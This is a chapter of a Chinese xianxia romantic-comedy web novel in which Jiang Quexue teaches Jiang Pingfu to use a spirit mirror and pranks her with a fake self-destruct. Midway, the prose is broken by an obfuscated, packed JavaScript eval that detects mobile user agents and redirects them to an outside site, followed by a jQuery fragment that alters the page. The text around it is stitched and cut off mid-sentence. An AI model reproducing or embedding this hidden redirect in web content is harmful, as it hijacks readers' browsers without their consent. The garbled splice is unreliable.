灵镜功能有三个:传讯、留影、上灵网。
“你就先这样,再这样,然后这样,对面就能收到你的传讯了。”
蒋却雪拿着灵镜一通操作,姜凭福看的目瞪口呆,因为她的灵镜的镜面上,竟浮现出一行字来。
「蒋却雪」:很方便吧?灵镜传讯大概相当于你们凡人间的飞鸽传书。
姜凭福目瞪口呆,她眨巴眨巴眼睛才缓过神来,“什么叫先这样,再这样?我没明白,你展开教教呗。”
蒋却雪睨了她一眼,轻声叹气,仿佛无奈万分,没有我她可怎么办。
「蒋却雪」:首先,我们先成为对方的灵镜好友,这样消息才知道要发给谁。
「蒋却雪」:然后,想好发给好友的话,对灵镜输入灵力,生成相应文字。最后,对灵镜下达发送指令,对方就能看到你发送的文字了。
「蒋却雪」:你发给我试试。
姜凭福调动灵力尝试传讯,几乎和她下达的指令同时,蒋却雪收到了传讯。
「姜凭福」:蒋却雪,灵镜能飞吗?
蒋却雪不明就里回复道:不能。
「姜凭福」:那我觉得,灵镜传讯不能相当于飞鸽传书,顶多相当于鸽传书。
「蒋却雪」:嗯……
姜凭福抬眼看见蒋却雪眉头紧锁,像是吃瘪了,她不由扬起唇角笑出来,蒋却雪惹她那么多回,她可算扳回一城。
姜凭福乘胜追击,语气亲昵,满含宽容,“却雪呀,你也是成年人了,还不知道解释事情时用词要严谨的道理吗?”
“作为朋友,这次我帮你点出问题,你也不用太谢谢我,下次不再犯就好了。”
好话赖话都让姜凭福说了,她还端着一副全是为蒋却雪好的样子。
蒋却雪的眉头松了又皱,“却雪”这个称呼,他倒不讨厌,她亲昵的语气,他也能接受,但他不舒服被她堵的半句反驳的话都说不出。
灵光一闪,计从心生,蒋却雪笑着感谢姜凭福,并极主动地教她用灵镜留影。
“留影很简单,只需将灵镜对准想记录的东西,就能生成留影图并可以随时查看,明白了吗?”
蒋却雪将灵镜对准站在窗沿上的翠鸟,翠鸟的影像出现在镜面上,翠蓝色的小鸟栩栩如生。
姜凭福若有所思,这玩意做用和留影石差不多,但比留影石方便的多。留影石在凡人间很稀罕,可她见过不少。她小时,姜神算搞来堆留影石,说要用留影记录她的成长。
她过生日,捧着加肉的长寿面,吃得满面油光,姜神算用留影石拍;她头一回自己梳发髻,梳得乱七八糟,姜神算用留影石拍;她一挑三,教训揪她辫子的小男孩,姜神算不帮忙就算了,还在旁边拿着留影石拍。
拍拍拍,拍个没完。
姜神算说,那些留影是独属于姜凭福的回忆。
姜凭福说,那些留影是姜凭福本人希望能够付之一炬的丑照。
实在气不过,她干脆把留影石拿去偷偷卖了。
这笔钱是她的第一桶金,也是她当时喊着离家出走,喊着要去拜师修仙的底气,虽然还没能跨出家门,就被姜神算骗去私塾读书了。
然后姜神算抛下她一走半年,了无音讯……
姜凭福的手背无意识地触碰腰间的荷包,那里面装着姜神算同她的合影。
“给,你试试,就拍窗沿上那个蓝了吧唧的鸟。让我看看你的学习成果。”
“人家叫翠鸟。”姜凭福为小鸟正名。
翠鸟黑豆般的小眼睛看向姜凭福,闻言扑朔扑朔翅膀,似乎在感谢她。
“一只鸟而已,你叫它小翠它就是小翠,你喊它小红它就是小红。”蒋却雪漫不经心地回复,假装随意地轻敲镜面,一想到接下来要发生的事,他就想笑。
姜凭福没意识到他对灵镜动了手脚,接过灵镜就开始展示学习成果,展示着展示着灵镜忽然爆发出耀眼的光。
光芒转瞬即逝,伴随着可疑的“喀嚓”声,随后翠鸟的影像出现在灵镜上。影像极度曝光,可爱的翠鸟被拍的像索命的鸟怪,扭曲到整只鸟都像中了巨大的诅咒。
“这怎么回事?”姜凭福捧着灵镜,不敢轻举妄动,“这灵镜怎么又发光又怪叫的?”
蒋却雪缓慢而僵硬的扭过头,悲戚地说出刚编的台词:“姜凭福,我们完了。刚刚你……”
蒋却雪懊恼没提前多顺几遍词,开口就卡壳,连表演的张力都受到影响。
“究竟怎么了?”姜凭福被他的语气和忽然的停顿搞得心里发毛,她感觉似乎有坏事要发生,“蒋却雪,你说吧,我受得了。”
“你……”他深吸一口气,重拾演技,颤颤巍巍地说:“你,把灵镜的自爆功能打开了。”
“灵镜爆炸,威力巨大,还有五秒,你我估计难逃一死。”
他平时口若悬河,天不怕地不怕,如今说话支支吾吾,面如土色,姜凭福暗道大事果然不妙。
鬼知道修仙界那群家伙会给一面镜子安排什么功能,这面镜子能传信,能留影,能炸死人也不奇怪。
“蒋却雪!护好头!”姜凭福忽然大喊。
蒋却雪的后腰受到巨大冲击,“砰”的一声,他还没来得及调整姿势,脸就先着地了。
蒋却雪立刻摸了一遍脸,确认面具没被摔的五官乱飞。
恶作剧的报应来的真快,幸好有面具护着,摔得不疼,没伤到我的妈生帅脸。
“小鸟!快飞!爆炸危险!”
蒋却雪闻声起身,只见姜凭福单臂轮出一个圆,狠狠把什么东西从窗户甩出去。
他定睛一看,是面灵镜。
他的灵镜。
他方才做了手脚递给姜凭福的灵镜。
他骗姜凭福会爆炸的灵镜。
“别扔,我的灵镜……”是限量版。
蒋却雪话没说完,只觉得怀中接到了一枚炮弹,极强的冲击力让他不自觉向后仰,紧急关头,他手臂向后撑地,竟做出个漂亮的后仰支架式。
刚撞进他怀里的姜凭福,现在被迫趴在这个支架上。她的脸埋在蒋却雪的胸上,感受到极具弹性的肌肉,和蒋却雪剧烈加速的心跳。
“站起来干吗!?你不想活了?”
“爆炸威力巨大,你不想活,我还想活。”
蒋却雪一动不动的支在地上,欲言又止。
他明白了,姜凭福一系列举动是想从爆炸中救下他。
可根本没有爆炸,他骗她只图好玩。
而且她干嘛要救我?自己躲好别管我的死活不就行了?
如果真发生爆炸,姜凭福把他扑倒在地,那她自己便要盖在他身上。蒋却雪的危险确实能减少,可她的危险却增加了。
无数人想要蒋却雪死。他是魔尊,朋友背叛,至亲不惜以血缘为诅咒,也要封印他。
蒋却雪不是傻子,他知道他同姜凭福,是他单方面纠缠要做朋友,姜凭福虽然给他好脸色,却压根没有同他做朋友的心思。
那是她的习惯,对她有用的人,她总不吝啬好脸色。
蒋却雪看姜凭福好玩,把她当调节生活的乐子正好,姜凭福看蒋却雪有用,亦是利用多过真心。
蒋却雪偏过脸去,遮掩无措的表情,“咳,其实吧,我的灵镜根本不会爆炸。”
窗台上的小鸟晃晃脑袋,豆豆眼盯着姜凭福,好似不理解姜凭福方才过激的反应。
姜凭福对小鸟抱歉笑笑,正欲尴尬起身,听见蒋却雪叫嚷,“喂,赶紧起来,沉死了你。”
那就不起了,沉死你拉倒,姜凭福将重量彻底全部压在蒋却雪身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447494|185164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,还往下又压了压,一副被吓到脱里,腿软到站不起来了的样子。
蒋却雪说完就后悔,他怀疑是姜凭福在他身上趴的太久,身上的温度隔着衣服传来,害得他脑缺氧到脸红,说话也口不择言起来。
他不该说姜凭福沉。
蒋却雪其实觉得她有点过于轻了,趴在他身上没有重量一般。
他又仔细看,姜凭福整个人都瘦瘦小小的,脸色还有点黄,不知是天生的,还是后天营养不良导致。
蒋却雪的眼神不由怜悯,可怜见得,不知她人生二十几年是怎么过的,竟被养成这般模样,营养不良就算了,修为也几乎没有,恐怕修士打架随便掀起的一阵风,都能把她吹走。
他缓缓收起手肘,躺倒在地上,方便姜凭福起身,生怕她一个摔跤摔出个好歹。万一她摔到脑袋死了,蒋却雪上哪再找个感兴趣的玩具?
他不想再过之前的日子,乏味而一成不变,寻找人生的意义却一无所获。
蒋却雪想,那日在茶楼,他听见有关魔尊的对话,许是上天给他的契机,体验一段新奇未知的旅程。
这也太虚了,我没趴几分钟他就撑不住躺平,姜凭福在心里直摇头,对象可不能找这种虚货。
她大发慈悲起身,朝蒋却雪伸出手,差点说漏嘴,“虚货或或或或许你需要我帮忙吗?”
“抱歉,不知怎么,忽然起身人有点发晕,连带说话都结巴了。”
“没事。”蒋却雪隐约听见“虚货”二字,但他知道自己一点都不虚,甚至在某方面称得上精力旺盛,所以姜凭福说的肯定是“嘘,或或或或许”。
他踌躇着将手放在姜凭福掌中,除小时候娘会牵着他的手外,他再未和女性有过这种近距离的接触。
因有着张俊到发邪的好皮相,蒋却雪遇到过很多渴求他的男男女女,他们对他说俏皮的调情话,或者更直接,脱下衣服勾引他,可没人问过他是否需要帮助,更没人朝他伸出过手。
姜凭福的手比他小很多,他的手覆在她掌上,像覆在一片初雪上。指尖传来的凉意让他不敢用力,生怕稍一用力,这片雪就在他的手中消融了。
蒋却雪在心中断言,这样的手定然握不住剑也提不起刀。
他虚虚握着她的手起身,看着像被姜凭福从地上拉起来,实际上,他根本不敢让姜凭福出力,全凭自己的另一只胳膊撑地发力。他认为姜凭福受不住他的重量,肯定会被拽的跌倒在地。
当他触到姜凭福指根处薄薄的茧时,他像被烫到一样猝然收回手。
“有什么事不懂的再问我,我有点事,先走了。”
丢下句没头没脑的话,蒋却雪头都不回的推门而出,他急着回住处照镜子。他觉得自己易容用的面具好像出了问题,害得他脸烫的厉害,恐怕整张脸都发红了。
要是我的脸出问题,我一定把拍卖行的老板剁成臊子,蒋却雪骂着走远。
姜凭福盯着他的背影,心想这男人确实虚,拉他起来都没用多少劲,都虚成空心的了。
她合上门,想着找点东西喂鸟,却发现窗沿上的翠鸟不知何时早已飞走。她叹出口气,有点失望,不过倒也好,能省上一笔鸟口粮,希望小鸟今天觅食顺利。
姜凭福不知道,她的希望根本无法实现。翠鸟此时正经历一场身体和心灵的双重折磨。
食槽放在翠鸟面前,食槽里满是鲜美的鱼肉,可它被一双修长的手死死拢着打理羽毛。
“啁啾啁啾。”
求求你了,让鸟吃吧,就一口。
“一口也不行。”
骨节分明的手指轻弹它脑壳。
“汇报完才能吃,这是惩罚。”
“让你悄悄盯着姜凭福,你倒好,光明正大站到人家窗沿上,是嫌给我添的麻烦不够多吗?”